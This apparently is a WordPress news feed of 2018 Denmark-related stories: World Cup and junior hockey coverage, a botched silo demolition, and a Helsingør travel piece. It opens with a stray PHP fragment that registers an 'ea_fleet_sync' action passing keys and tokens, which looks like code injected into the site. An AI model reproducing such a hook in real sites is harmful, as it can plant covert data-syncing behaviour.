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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Denmark – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 28 Dec 2018 02:02:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Denmark – Brief News https://briefnews.eu 32 32 World juniors roundup: Denmark falls again despite improved effort https://briefnews.eu/world-juniors-roundup-denmark-falls-again-despite-improved-effort/ https://briefnews.eu/world-juniors-roundup-denmark-falls-again-despite-improved-effort/#respond Fri, 28 Dec 2018 02:02:53 +0000 http://briefnews.eu/world-juniors-roundup-denmark-falls-again-despite-improved-effort/

Alexander Romanov had a goal and two assists as Russia beat Denmark 4-0 Thursday at the world junior hockey championship in Vancouver. 

Despite the loss, it was a much improved effort from a Danish team that was trounced 14-0 by Canada on Wednesday in its tournament opener.

Vitali Kravtsov had a goal and an assist and Pavel Shen and Ivan Morozov also scored for Russia, which played its first game at the tournament.

Danil Tarasov picked up the shutout for Russia. William Rorth took the loss in goal for Denmark.

Kravtsov opened the scoring 6:28 into the game, and Romanov made it 2-0 late in the second period.

The Danes kept the game close until Shen scored on a power play with just over six minutes to go, and then Morozov capped the scoring with an empty-net goal in the final two minutes.

Russia next plays the Czech Republic on Friday, while Denmark faces Switzerland on Saturday.

Later Thursday, Slovakia faces Sweden, Canada takes on Switzerland and Finland plays Kazakhstan.

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Morgan Frost had chills Wednesday night as Canadian hockey lovers chanted his name.

Fans at Vancouver's Rogers Arena were keen to show their appreciation for the 19-year-old left-winger after he put up three goals and two assists in Canada's decisive 14-0 win over Denmark.

Cheers of “Frosty! Frosty!” echoed through the crowd of more than 16,400 after the Philadelphia Flyers prospect was dubbed player of the game.

"That was coolest moment I have ever been a part of and I had chills running right through my body," Frost said.

"It was an unbelievable game and something I will never forget."

The victory marked the first game of the tournament for Canada, which took gold last year.

It was also the first hat trick of Frost's junior career. His mom celebrated by running down from her seat to toss a ball cap over the glass.

"I had no clue," Frost said with a laugh after the game. "I'm sure I'll hear about that after. That's pretty cool."

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Canada’s captain Maxime Comtois scored four goals in the win, and Owen Tippett and Brett Leason each notched a pair. Jack Studnicka, Jaret Anderson-Dolan and MacKenzie Entwistle all found the net to round out the scoring, and Cody Glass tallied four assists.

Comtois said he hasn't had scored four times in a game since his first year in junior, when he was 16.

"It's always fun to score goals and it doesn't happen often," said the Anaheim Ducks prospect. "I got a couple lucky bounces and good passes from my teammates. I just put the puck in the net."

Canucks prospect and Ottawa 67's goalie Michael DiPietro made 14 saves to earn the shutout.

"I've never been part of a game where I've made as many saves as we had goals," DiPietro said. "I told the guys I kind of lost count."

Mads Sogaard of the Medicine Hat Tigers stopped 30-of-41 shots for Denmark before he left the game with an apparent injury midway through the third period.

William Rorth stepped into the crease to finish off the match up and made one save.

Denmark's best chance of the night came early in the third frame when Canadian defenceman Evan Bouchard slashed left-winger Phillip Schultz as he took a shot.

Schultz — who plays for the WHL's Victoria Royals — got a penalty shot, but DiPietro made the stop with his right blocker.

The Canadian netminder said he had to be patient on the play.

"It was something we worked on, penalties and shootouts, in practice to be ready for. And I felt like I was with him all the way and my pad was there," DiPietro said. "It was a pretty funny way to get a first shot in the third period, but you take 'em wherever you can get 'em."

Getting the start on Wednesday was an honour for the 19-year-old native of Amherstburg, Ont., and it comes after he was cut from last year's squad.

“The adversity, I think, really helped build my game throughout the year and leading up to the tournament,” DiPietro said. “Coach really stresses the process and building on each day. And I thought I have ever since coming to camp.”

Ian Scott, goalie for the WHL's Prince Albert Raiders, is expected to get the start Thursday night when Canada takes on the Swiss.

But fans can expect to see a lot more of DiPietro over the tournament, said Team Canada coach Tim Hunter.

"Mikey started the first game because we believe in Mikey," he said. "You start the regular season with your No. 1 goalie and you start the tournament with Mikey, he played well and he showed he can play well."

Scott is "every bit as good," Hunter added.

"It's not really an evaluation process," the coach said. "Mikey is our guy, he is going to carry the load and we're quite capable of putting Ian in as well."

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Croatian fans are celebrating their team’s laborious but stylish victory over Denmark in a penalty shootout. Millions of excited Croats are now looking forward to their clash with Russia in the World Cup quarter-finals in Sochi.

A tense atmosphere at Zagreb’s main square and across the country during the nail-biting battle of goalkeepers, after an exhausting 30 minutes of extra time, immediately turned into a wild party fest the very minute Croatia beat Denmark 3-2 in a penalty shootout in Russia’s Nizhny Novgorod on Sunday night.

Torches were lit and people, some with tears in their eyes, started hugging, kissing and embracing each other as the tense 120-minute match came to a victorious end with the final penalty successfully performed by Barcelona’s midfielder Ivan Rakitic.

Celebrations also engulfed bars and narrow streets, while paralyzing the intersections of the city, where thousands of fans danced the night away, jumping for joy, waving national flags and singing chants in support of their squad.

After quick goals by each team in the opening four minutes, first by Martin Jorgensen of Denmark then by Mario Mandzukic of Croatia, for the remainder of regular time the rivals were locked in a 1-1 tie, forcing the game into overtime and, eventually, a penalty shootout.

READ MORE: Croatia beat Denmark on penalties to set up World Cup quarter-final with Russia

Despite an incredible performance by the Man of the Match, Peter Schmeichel, who saved a total of three penalties over the course of the game, the Croatian goalkeeper, Danijel Subasic, had his own tricks to secure a win for the Adriatic team. Croatia will now play Russia in the quarter final on July 7 at the Fisht Stadium in Sochi.

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Croatia and Denmark go into tonight’s last 16 clash at the Nizhny Novgorod Stadium knowing tournament hosts Russia await in the quarter-finals.

Russia goalkeeper Igor Akinfeev saved Koke’s and Iago Aspas’ spot kicks in their first ever penalty shoot-out to send the hosts through following a 1-1 draw over 120 minutes.

Croatia are seeking to emulate their best result in 1998, when they reached the semi-finals and finished third after a 2-1 win over the Netherlands in the play-off.

Denmark’s best result at a World Cup was also in 1998, when they reached the quarter-finals, beaten by eventual runners-up Brazil.

CROATIA 1-1 DENMARK – JORGENSEN (1), MANDZUKIC (4)

Croatia XI: Subasic, Vrsaljko, Lovren, Vida, Strinic, Rakitic, Brozovic, Rebic, Modric, Perisic, Mandzukic.

Denmark XI: Schmeichel, Knudsen, Kjaer, Mathias Zanka Jorgensen, Dalsgaard, Christensen, Delaney, Eriksen, Poulsen, Cornelius, Braithwaite.

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CROATIA 0-0 DENMARK – BADELJ SAVED

CROATIA 0-0 DENMARK – ERIKSEN SAVED

PAUSE: The winners face Russia in the quarter-final remember.

PAUSE: Time for the coin flip in the middle of the park. Luka Modric looks slightly distracted. Denmark to take the first one.

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Croatia vs Denmark: Live World Cup score, goals and updates

CROATIA 1-1 DENMARK

FT: Take a deep breath folks. We’re going to penalties. Who fancies taking one? Go on, hands up!

31: I suspect Croatia aren’t going to fancy facing Kasper Schmeichel in a shootout…

30: Luka Modric lets fly from distance to make amends but he’s sent it wide. That might be the last chance.

28: Interesting to note that Zanka is booked, not sent off. No idea why. New double jeopardy rules I suppose.

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Croatia vs Denmark: Live World Cup score, goals and updates

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Croatia vs Denmark: Live World Cup score, goals and updates

27: The ITV cameras instantly panned to Peter Schmeichel in the stands. He’s punching the air like his son has saved Denmark’s World Cup dream. Oh wait, he has!

CROATIA 1-1 DENMARK – MISSED PENALTY

25: Oh. My. Word. Luka Modric has seen his penalty saved by Kasper Schmeichel with four minutes remaining in stoppage time. Scenes, absolute scenes.

PENALTY TO CROATIA

24: Luka Modric slices through the Denmark defence to find the overlapping Rebic. Zanka brings him down and the referee has no choice but to point to the spot.

23: Nicolai Jorgensen finds himself unmarked at the back post but he’s sent Knudsen’s cross into the side-netting.

21: This always happens in the second period of extra time. Everyone’s frozen and scared of making a mistake so there’s plenty of aimless hoofs.

20: Mario Mandzukic is knackered. He’s replaced by Badelj for the closing stages.

18: Sisttooooooo… no. The rapid substitute spins and looks to bend one into the far corner. It lands a few yards wide.

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Croatia vs Denmark: Live World Cup score, goals and updates

17: Bosh. Kovacic unleashes a cannon from distance that’s blocked by Kjaer. That’s almost certainly going to leave a bruise, but I doubt he’ll care if they make it to the quarter-finals.

15: There’s a change for Denmark, perhaps with penalties in mind as Sisto replaces Braithwaite. Sisto is an extremely unpredictable fella.

TWITTER ROUND-UP

Jack: The thought that one of these teams or Russia will be in the World Cup semi-finals is pretty upsetting. Is international football going through a drought?

Ross: They better at least have the courtesy to give us a penalty shootout after this terrible game.

Kyle: We should have just went to penalties after four minutes, average game at best. The more you see this side of the draw if we beat a dangerous Colombia side on Tuesday we have a great chance of getting to the final now.

CROATIA 1-1 DENMARK

HT: We’ve reached half-time in extra-time. 15 minutes until the lottery of penalties… again!

14: Gareth Southgate will be licking his lips at the prospect of Croatia being eliminated on the same day as Spain. Denmark really shouldn’t cause England too many problems and it’s a potential semi-final match-up!

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Croatia vs Denmark: Live World Cup score, goals and updates

12: Gorgeous turn from Schone, who sends Kovacic back to Zagreb before firing wide. Denmark are definitely, definitely on top right now.

10: Croatia boss Zlatko Dalic has no option but to make a change. His side have offered nothing. Former Leicester striker Kramaric is on for Perisic.

35-year-old Krohn-Dehli replaces Delaney for Denmark.

8: You can’t keep Knudsen now! The defender charges into the penalty area and should go down under a dodgy tackle from Vrsaljko but continues and wins the corner. He’ll certainly win the fair play award…

5: Ipswich defender Knudsen trundles up field to deliver another long throw-in. He’s stuck it in the penalty area but Croatia are winning the important headers.

Now I’m pretty sure this guy is only playing because of his throw-in abilities. That’s a lesson for you youngsters wanting to play in a World Cup…

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Croatia vs Denmark: Live World Cup score, goals and updates

3: A quick look at these side’s penalty history. It’s only brief…

Croatia record: P 1 W 0 L 1 (European Championship)

Denmark record: P 2 W 1 L 1 (European Championship)

Neither side have featured in a World Cup shoot-out before, and only Denmark know what it feels like to win one – beating reigning champions Holland on the way to their stunning Euro 92 success.

1: I’ve reset the clock for 30 minutes of extra time and we’re back underway. Remember, a fourth substitute is permitted should Denmark or Croatia wish to make one.

BREAK…

FT: Theres’s just enough time for the players to take on some water and have a sneaky look at the tactics sheet.

I hope one of the coaches has scribbled down: “Score a goal.”

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Croatia vs Denmark: Live World Cup score, goals and updates

CROATIA 1-1 DENMARK

FT: A dreary second half comes to a close and for the second time today, we’re heading to extra time.

93: One last corner for Denmark. If they score, they win. Eriksen to deliver… wide. Subasic punches clear and Braithwaite volleys wide. That might be that.

92: Inches! Rakitic nearly sends Croatia into ecstasy with a fierce low strike that flies narrowly past the post. I think Schmeichel probably had it covered on reflection. As you were…

90: Tremendous work from Pivaric, who beats his marker about five times before delivering a low cutback into the box. Six white shirts crowded the ball before Perisic could connect.

Three minutes added time.

89: Please, please score. I really can’t take another 30 minutes of this.

88: Nearly. Just nearly. Pivaric tees up Perisic with a flat cross from the left, but he’s flicked it over the crossbar.

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Croatia vs Denmark: Live World Cup score, goals and updates

85: The cameras have just panned to a child in the crowd playing on a games console rather than watching to football. I don’t blame the lad. Strinic is off, Pivaric comes on.

84: Ouch! Mateo Kovacic goes to ground clutching his shoulder, which looks like it dislocated on impact. Ice pack on the shoulder and he’s back up again.

83: Remember when we had two goals inside the first five minutes? That now seems like a very long time ago…

80: WHAT ARE CROATIA DOING?! I can’t believe their levels have dropped so much from their group matches. The pressure really is doing a number on Luka Modric and Co.

78: This is heading for extra time. No doubt about it.

75: And another opportunity for Denmark. They really have stifled Croatia. Christian Eriksen picks up a loose ball around 18 yards from goal but doesn’t connect properly.

73: Big chance! Poulsen shifts the ball to his left and threads it over to Nicolai Jorgensen, who ignores better options and tamely strikes at Subasic.

70: There is dangerously little happening folks. I wasn’t expecting fireworks but this battle of attrition is tough to watch.

Brozovic is replaced by Manchester United target Kovacic. Let’s see if he’s capable of doubling his price-tag.

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Croatia vs Denmark: Live World Cup score, goals and updates

68: Cornelius off, Feyenoord striker Jorgensen replaces him. The ITV commentator felt the need to inform us that Jorgensen’s wife is on a television show equivalent to ‘The Real Housewives of Cheshire.’

65: In a game devoid of incident, Kasper Schmeichel’s weird punch when he could easily have caught it is noteworthy. It was a meaty punch if that makes any difference…

63: Braithwaite and Poulsen exchange a couple of passes but Vrsaljko is there to stop him from pulling the trigger.

60: I can’t lie. This is getting extremely tedious. Not a classic by any stretch of the imagination.

58: Braithwaite is slightly too clever when trying to flick the ball back to himself. He’s successful in the flick aspect but shanks the shot into orbit.

55: This must be a different Croatia side to the one that hammered Argentina earlier in the competition. They’ve shown precious little and allowed Denmark to grab a hold of this game.

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Croatia vs Denmark: Live World Cup score, goals and updates

53: Still find it amusing that Andreas Cornelius was once described as Cardiff’s worst ever signing at £8million. He only played 11 games there!

50: Denmark have had to work really hard to keep Croatia quiet. I wonder if the energy levels will take their toll as the match progresses. No early chances since the break.

46: BREAKING: Andres Iniesta has called time on his Spain career after their shock World Cup exit to Russia this afternoon. You can find more reaction to that .

CROATIA 1-1 DENMARK

45: And we’re back underway folks. We’ve already had one penalty shoot-out today, are we going to have a second?

Christensen is replaced by Schone. The Chelsea defender looked exhausted.

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Croatia vs Denmark: Live World Cup score, goals and updates

TWITTER ROUND-UP

Ben: Boring, dull, defensive organisation, anti football having a good day today. Russia parked every bus – a joke. Danes a cure for insomnia.

Tommy: Croatia have been poor. Luka Modric looks like he’s been told to play in defence and not have any shots on Target.

Aaron: Let’s stop knocking on defensively astute teams. It’s NOT the most exciting way to win a game but it is a way to win. Just ask Russia. Nobody gives the World Cup trophy to the team that looked easiest on the eye.

SPOOKY…

HT: Spooky. Mathias Jorgensen is the new holder of Denmark’s quickest World Cup goal. The previous holder is… Martin Jorgensen against Brazil in 1998!

2018 team-mate Nicolai is the only other Jorgensen to appear for them, too!

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Croatia vs Denmark: Live World Cup score, goals and updates

CROATIA 1-1 DENMARK

HT: Rakitic has a golden opportunity to score on the stroke of half time but he drags the ball into the ground and Schmeichel collects.

There was also a major concern for Mario Mandzukic, who hit the deck with what looked to be an Achilles injury. He’s back in the dressing room but I’d be surprised to see him play the second half.

44: LONG THROW SIREN! Knudsen wipes the ball down as the Denmark defenders load the box. There’s panic inside the Croatia penalty area. There needn’t be as the throw loops high and is cleared. Needs to be flatter.

43: Woodwork! Christian Eriksen attempts an audacious Cantona-esque chip from the edge of the box that clips the top of the crossbar.

41: Everyone’s expecting the net to bulge as Dejan Lovren rises unmarked inside the six-yard box. He connects with Luka Modric’s free-kick but the ball sails wide. Big chance.

38: Imagine reaching the quarter-finals of the World Cup with Spain, Argentina and Germany not involved. Add to that Italy and Holland not qualifying and you’ve got yourself a serious chance of winning the whole thing.

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Croatia vs Denmark: Live World Cup score, goals and updates

37: Having weathered the storm, Denmark have battled their way back from the brink. Croatia haven’t carved out any chances for a while.

34: The ball sits up nicely for Eriksen… tame. Cornelius’ knockdown finds the midfielder who doesn’t properly connect.

33: They’ve got some big lads have Denmark. Cornelius uses his large frame to win a corner for the Danes, but Subasic rises highest to pluck Eriksen’s delivery out of the sky.

30: They are queuing up! Schmeichel parries Rakitic’s long-ranger straight to Perisic, who can’t control the half-volley quite like Benjamin Pavard did yesterday. Miles over.

29: Close! Former Middlesbrough star Braithwaite nearly catches Croatia cold. He sneaks in on the right but Subasic is quickly off his line to block.

28: Croatia have done their homework, not that it’s an overlay taxing task to identify that Christian Eriksen makes Denmark tick. The Spurs midfielder has had about 10 touches tonight.

26: A Mexican Wave already? Come on guys, it’s more entertaining than that!

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Croatia vs Denmark: Live World Cup score, goals and updates

23: Nope. Nothing doing for Croatia as referee Nestor Pitana waves play on.

22: Penalty appeal! Dalsgaard is a bit clumsy when tackling Mandzukic on the wrong side and he doesn’t need an invitation to hit the deck. We’re going to VAR…

20: Quick one for the football news amongst us. Zanka’s goal was the fastest goal at the World Cup since Clint Dempsey netted after 29 seconds for USA against Ghana in 2014.

Consider yourselves informed.

17: The game has settled considerably since the breathtaking opening. Denmark aren’t looking like too much of a creative force as Cornelius aimlessly punts a ball into orbit.

14: Croatia are asserting themselves now. Denmark are chasing shadows as Modric, Brozovic and Perisic stretch them from right to left.

12: Another long throw incoming… cleared. I think we should introduce some kind of siren when once of these things is launched. Deadly weaponry for Denmark.

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Croatia vs Denmark: Live World Cup score, goals and updates

9: Croatia vs Denmark is only the second match in World Cup history to see both teams score inside four minutes, after Argentina vs Nigeria in June 2014.

6: Here’s me thinking that this would be a quiet affair that I could simultaneously eat my dinner (chicken, rice and peppers if you’re asking) while reporting. Nope!

I have just seen two of the luckiest goals in the entire World Cup in a bonkers start.

CROATIA 1-1 DENMARK – MANDZUKIC

4: I repeat my first statement. What?!

What a ridiculous start to this last 16 tie as Juventus star Mario Mandzukic levels inside four minutes.

If the first was sloppy, this takes it to a new level. Kjaer’s clearance ricochets off Christensen’s face and drops for Mandzukic, who converts from two-yards out.

3: Denmark manager Age Hareide was criticised for lacking imagination against France. I think he’s had the last laugh with a deep Rory Delap-esque throw-in doing the trick!

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Croatia vs Denmark: Live World Cup score, goals and updates

CROATIA 0-1 DENMARK – JORGENSEN

1: What?! It’s taken Denmark less than a minute to rock Croatia as they take the lead from a long throw.

The Croatian defence failed to deal with Knudsen’s ball into the penalty area and after Thomas Delaney had got a touch, defender Mathias Jorgensen pounced to score his first senior international goal from close range.

1: Both nations traditionally play in red, neither is wearing it tonight. Croatia are in blank while Denmark wear white. Not that your watching it on television if you’re reading on here so I’ll just shut up!

CROATIA 0-1 DENMARK

1: OK, three down and five remaining. Who will join Russia in a quarter-final showdown. We’re about to find out.

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Croatia vs Denmark: Live World Cup score, goals and updates

ANTHEMS…

18:57: I still LOVE that ‘Seven Nation Army’ by the White Stripes plays as both sides emerge from the tunnel. I don’t think there’s a better song to ramp up the atmosphere.

National anthems are done and dusted. We’re nearly there. Will Spurs past or present decide this one with Christian Eriksen and Luka Modric hoping to make the difference.

Whatever happens, I’m sure Daniel Levy will be proud…

READY?

18:55: I don’t know about you but I’m emotionally exhausted after Russia’s victory. Saying that, I’m hoping for some more entertaining football tonight. Surely these two won’t disappoint in that department?

Lovely lip stick above. I’ll do mine later…

MIDFIELD MASTERCLASS

18:50: Croatia’s case as dark horses to win the World Cup is mostly down to the creativity of their two midfield masters, Luka Modric and Ivan Rakitic.

The pair are good enough to excel at Real Madrid and Barcelona and can dictate the tempo of a game against the best opposition.

Coming up against Denmark pitches them against Christian Eriksen.

It will be a fascinating battle as the Tottenham playmaker is also capable of winning a game with a moment of brilliance, particularly from set-piece situations around the penalty area.

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Croatia vs Denmark: Live World Cup score, goals and updates

TWITTER ROUND-UP

Lily: You know what, England’s chances are looking considerably better. Belgium, Brazil and France are in top branch so all but one will be knocked out before England would meet any of them. Only big threat between now and finals is Croatia (assuming we are indeed good enough to beat Colombia and Switzerland/Sweden).

Tom: I think England have to take every game as it comes, and arguably Croatia are the toughest team left in our half, but this tournament is wide open and anything can happen, but as an England fan you have to start feeling that little bit of “this could be our year.”

Aaron: England are the youngest and fastest team in their half of the draw. Do you think Russia could have held out if they had Alli, Lingard and Sterling running at them for 90 minutes, with Kane lurking? No team left can, I think. Let’s believe.

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Croatia vs Denmark: Live World Cup score, goals and updates

TEAM NEWS – CROATIA

18:48: Croatia coach Zlatko Dalic has brought back his big-name players for tonight’s last 16 clash against Denmark, restoring striker Mario Mandzukic, midfielder Ivan Rakitic and defender Dejan Lovren who were rested for their final Group D game.

Croatia’s captain and veteran playmaker Luka Modric played in that game, however, and was leads the team again. He has scored two goals in Croatia’s charge to the last 16 with three wins out of three.

TEAM NEWS: DENMARK

18:45: Danish coach Age Hareide, criticised for a defensive approach in the 0-0 draw with France that guaranteed their passage to the next round, gives a first outing of the tournament to defender Jonas Knudsen.

The Danes have not lost in their last 18 FIFA sanctioned matches and will be looking to their playmaker, Christian Eriksen, to open up Croatia, who have conceded just one goal so far in Russia.

Striker Yussuf Poulsen returns for Denmark after suspension.

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Croatia vs Denmark: Live World Cup score, goals and updates

CROATIA vs DENMARK

18:40: And here are your line-ups folks. No surprises with all the big guns on display.

Croatia XI: Subasic, Vrsaljko, Lovren, Vida, Strinic, Rakitic, Brozovic, Rebic, Modric, Perisic, Mandzukic.

Subs: Livakovic, Corluka, Kovacic, Kramaric, Jedvaj, Bradaric, Caleta-Car, Badelj, Pjaca, Pivaric, Lovre Kalinic.

Denmark XI: Schmeichel, Knudsen, Kjaer, Mathias Zanka Jorgensen, Dalsgaard, Christensen, Delaney, Eriksen, Poulsen, Cornelius, Braithwaite.

Subs: Lossl, Krohn-Dehli, Vestergaard, Kvist, Nicolai Jorgensen, Dolberg, Fischer, Larsen, Lerager, Schone, Sisto, Ronnow.

Referee: Nestor Pitana.

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Croatia vs Denmark: Live World Cup score, goals and updates

HAVE YOUR SAY

18:35: If you want to vent your frustrations, or discuss any issues in the world of football (within reason), then get in touch!

You can either comment at the bottom of the page or contact me via Twitter using the hashtag #ExpressSport.

WELCOME

18:30: Hello everyone, welcome to our LIVE coverage of the World Cup.

Wait, before I start blabbering on about tonight’s showdown at the Nizhny Novgorod Stadium It would be irresponsible of me to ignore some breaking news.

I’m hearing that football is definitely coming home now that Russia have knocked Spain out of the World Cup on penalties.

That means that ONE of the following sides will be in the World Cup Final.

Colombia, Croatia, Denmark, England, Russia, Sweden, Switzerland.

I’ll be passing around brown paper bags shortly so that nobody hyperventilates. Let’s get going!

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A game neither France nor Denmark needed to win produced the World Cup's first 0-0 draw amid boos and whistles from fans on Tuesday.

A slow-paced game — officially No. 37 in Russia — was out of step with a vibrant tournament and ensured already-qualified France won Group C and Denmark advanced as runner-up. Both came through unbeaten.

The draw ensured that outcome, though Peru's 2-0 victory over Australia playing at the same time meant the Danes would have advanced to the round of 16 even had they lost to France.

It was the longest a World Cup had gone without a goalless draw since 1954, which had none.

A French team with six starters resting barely tested Denmark goalkeeper Kasper Schmeichel until substitute Nabil Fekir tried two long-range shots.

Much of a 78,011 crowd in Luzhniki Stadium whistled misplaced passes and slow play as the game progressed and Denmark protected its point — likely aware Australia had no chance of winning.

Still, thousands of Denmark fans in a stadium seemed happy enough at the final whistle.

It was a mostly forgettable first major tournament start for France goalkeeper Steve Mandanda, who has been a backup at two World Cups and three European Championships. The 33-year-old made his first and only save in the 54th minute, spilling Christian Eriksen's free-kick before pouncing on the loose ball.

France stars rest

France's first-choice goalkeeper and captain, Hugo Lloris, was among those rested. Midfielders Paul Pogba and Blaise Matuidi were obvious choices to sit after collecting yellow cards in a 1-0 win over Peru. A second yellow card before the semifinals triggers a one-game ban.

The team lost rhythm inserting a different trio of attacking midfielders to support Antoine Griezmann and Olivier Giroud.

Perhaps sensing it was time to make entertainment midway through the first half, fans created a wave that made three laps of the stadium. Russian fans broke into their national chant several times to break the boredom.

Whistles and jeers got louder after a misplaced pass in the 64th by France midfielder Thomas Lemar. The ball went off the field 10 yards (meters) behind teammate Benjamin Mendy's run.

Only in the final 20 minutes, when Fekir and Kylian Mbappe, came off the bench did France show more pace and direct intent. They met a solid Danish defence content with the draw.

Key to success

Denmark has a tough defence anchored by veteran captain Simon Kjaer, and a high-class goalkeeper in Kasper Schmeichel. Even the top World Cup teams will have difficulty scoring against the Danes.

Group dynamics

France has won Group C and will open the round 16 on Saturday afternoon in Kazan, playing the Group D runner-up. That could still be any of Croatia, Nigeria, Iceland or Argentina before their final games later Tuesday.

Denmark gets an extra day off and plays the Group D winner, likely Croatia, on Sunday evening in Nizhny Novgorod.

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Mile Jedinak's penalty kick gave Australia a 1-1 draw against Denmark on Thursday and new life at the World Cup.

Christian Eriksen scored in the opening minutes for Denmark, which has gone unbeaten in 17 straight international matches. But Jussuf Poulsen's handball after a video review set up Jedinak's opportunity in the 38th minute.

Going into the tournament, No. 36 Australia was the lowest-ranked team in Group C with the others all in the top 12.

With a loss to France in the opener, a defeat Thursday would have made it nearly impossible for the Socceroos to advance to the next stage. Denmark, meanwhile, won its first match against Peru.

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Peruvian fans turned the streets of Saransk – the smallest of the World Cup host cities – into a giant Latin American carnival as they marched towards Mordovia Arena to watch their team face Denmark.

Peru are appearing at their first World Cup finals since 1982, and their fans have been out in force to contribute to the special atmosphere in Russia so far this summer.

Their colorful number have been a ubiquitous presence in Moscow in recent days, and they made their way en masse to Saransk – which has a population of just under 300,000 – to attend the team’s World Cup Group C opening game against Denmark on Saturday.

They formed a huge column of red and white to march toward the venue of the game, Mordovia Arena. 

They chanted in unison as they approached the ground, creating a spectacle the likes of which locals in the provincial city had never seen before.

They also gathered around the city’s main cathedral, playing music and bringing a touch of the South American party spirit.  

The fans were ultimately left with little to cheer in the match itself, suffering a 1-0 defeat against the Danes thanks to Yussuf Poulsen’s goal on 59 minutes, after Christian Cueva had blazed a first-half penalty over the bar.  

However, the indomitable Peruvian spirit is unlikely to be dampened, and they will take the party to Ekaterinburg where they face France on Thursday.      

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  • The demolition of a 174-foot silo in Denmark last week went disastrously wrong, and destroyed a neighbouring building.
  • The silo collapsed in the exact opposite direction it was supposed to, and falling debris smashed into a cultural centre next to it.
  • No people were in the path of the botched operation, but it is still an embarrassing and costly mistake.

A demolition in Denmark went badly wrong last week when a 174-foot silo collapsed the wrong way and crushed the building next to it.

The disused silo in Vordingborg, eastern Denmark, was supposed to fall neatly onto a cleared landing zone on Friday, but didn’t work onto an adjacent green space, but accidentally fell the wrong way.

Watch a video of the demolition here:

Nobody was injured. The cultural centre, which consists of a library and music school, reported structural damage to one side of the building.

Danish explosives authorities said preparations for the demolition appeared to be correct, The Guardian reported, citing local media. Town officials plan to investigate, the Vordingborg.net news site reported.

Photos posted by the library on Facebook also showed books, documents, and computers had been knocked from the shelves. Most of the library’s interior was undamaged but very dusty, the library said.

 

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Cyril Dixon takes a good look at the country’s inspiration for Hamlet and takes a ferry to Sweden

Apparently, the military-minded Frederick built Kronborg Castle in 1574 as a fortress in case his neighbours should fancy a skirmish.

He built it in the port of Helsingør, perched on an outcrop in the Øresund, the strait separating the two Scandinavian countries.

It was protected on three sides by the 165ft-deep channel and on the fourth by layers of ramparts, reinforced gates, moats and drawbridges.

The castle itself has walls 10ft thick, towering turrets, a maze of basement tunnels where the army laid in wait and chilling dungeons for any unfortunate captives.

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Methinks that Frederick was a very worried man!

It’s no wonder that Shakespeare, inspired by Kronborg’s air of mystery and foreboding, used it as a setting for Hamlet, one of his bloodiest plays.

Its annual drama festival held in August draws hundreds of performers, playing out the key scenes in its true home.

Alas, poor Yorick would be crowded out these days by hordes of skull-clutching actors.

But to be fair, Frederick also liked to party, throwing 24-course banquets lasting for days in Kronborg castle’s ballroom where Klaus, dressed as a Renaissance nobleman, briefed us.

Now a vast expanse of black and white tiles, with Baltic pine-beam ceilings and glittering chandeliers, it must have seen some sights.

In the past, noble guests gorged themselves on 8kg per head of heavily-spiced delicacies including swan, peacock, wild boar and hare. 

The indigestion must have been horrific. But fortunately, Frederick also left his people a tourist legacy of castles, culture and cuisine. 

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THE BARD’S INSPIRATION: Kronborg Castle seen from across Helsingør harbour

My partner Jayne and I are checking it out on a Scandinavian double-bill city break, taking in Helsingør and Helsingborg, similarly named, but across the water in Sweden.

Denmark’s Helsingør is a compact, laid-back former ship-building city, reinvented as a heritage and arts mecca, one hour’s train ride from Copenhagen.

Tower blocks are banned and other new building restricted, so its cobbled streets and ornate, red-brick merchants’ houses preserve its olde worlde feel.

We walked the “cultural promenade”, linking 20 historical gems including Hans Christian Andersen’s former school and a railway station claiming to be Denmark’s prettiest.

There are stylish boutiques, fascinating antique shops and a lively nightlife scene, including the new, uber-trendy Culture Wharf street market in a converted harbour warehouse.

Little wooden food stalls surround big communal tables, rowing boats and fishing nets hang from the ceiling and 80s hits form a musical backdrop.

At Francophile, a dimly-lit, atmospheric bistro on the harbour, crackly Charles Aznavour records play and there are wall-mounted photos of every French icon from Brigitte Bardot to Eric Cantona.

The three-course set menu with Gallic specialities such as cassoulet or rillettes of pork, with salads and seared hake was around 325 Danish krone (£30).

Our accommodation was a quirky guesthouse, called Kyhn’s, lovingly created from a former wine store and two minutes’ walk from the railway station and harbour.

It only has six rooms but they are big, light and airy, with whitewashed walls, painted wooden floorboards and pretty houseplants. Each boasts a kitchen and sitting room.

Out front is a coffee shop, playing jazz and selling cakes, pastries and Smørrebrød (rye bread) open sandwiches as well as a courtyard to enjoy those balmy Scandinavian summers.

Helsingør is a handy base to explore the wider North Sealand region by the cheap, efficient rail service, or bike – across reassuringly flat countryside.

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Cyril and Jayne get on their bikes

We took a 30-minute train trip to Fredensborg Palace, the spring and autumn retreat of Queen Margrethe II and late husband Prince Henrik, which opens to the public in summer.

Dubbed the Danish Versailles, the white baroquestyle palace sits on beautiful Lake Esrum and has six miles of paths wending their way through 300 acres of lush garden.

Nearby is the Skipperhuset, an elegant eaterie on the lake shore.

Our Danish sojourn ended at Louisiana Museum of Modern Art, home to Picassos, Warhols and Hockneys and offering awesome views across the Øresund. 

In Sweden, reached by ferry, we went cycling out of Helsingborg along a seafront to rival Brazil’s Ipanema or Copacabana Beach.

The strip of white sand stretched away into the distance and palms swayed lazily in the breeze. 

Thankfully, the autumn weather was too cool for lovers of that skimpy Brazilian swimwear.

Helsingborg is on the “Swedish Riviera”, an under-explored stretch of coastline with nearly 25 miles of stunning beaches. 

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Kyhns Guesthouse in Helsingor, Denmark

You can swim, fish, sunbathe, take a boat trip, or walk or cycle along miles of wooden decking or uninterrupted cycle path.

There are great beachside cafes and restaurants dotted along the way. Sillen & Makrillen, a slick, wood-and-glass construction, a 15-minute walk out of town had us raving.

For about £100 all-in, I enjoyed trout with radish followed by butter-fried cod. Jayne had shrimps on dark bread, with cauliflower cream and truffle cabbage.

Although Helsingborg is bigger and busier than Helsingør, there is still a pretty old town, centred around Karnan, a 700-year-old keep.

We stayed nearby in the enigmatically-named “V”, a boutique hotel which mixes period decor with quirky modern.

Four-poster beds come alongside table lamps shaped like lion’s-head door knockers. 

From there, we cycled easily to Fredriksdal, a 19th-century manor house converted into a working farm museum – all thatched barns and windmills, heavy horses and “rare breed” cows and sheep.

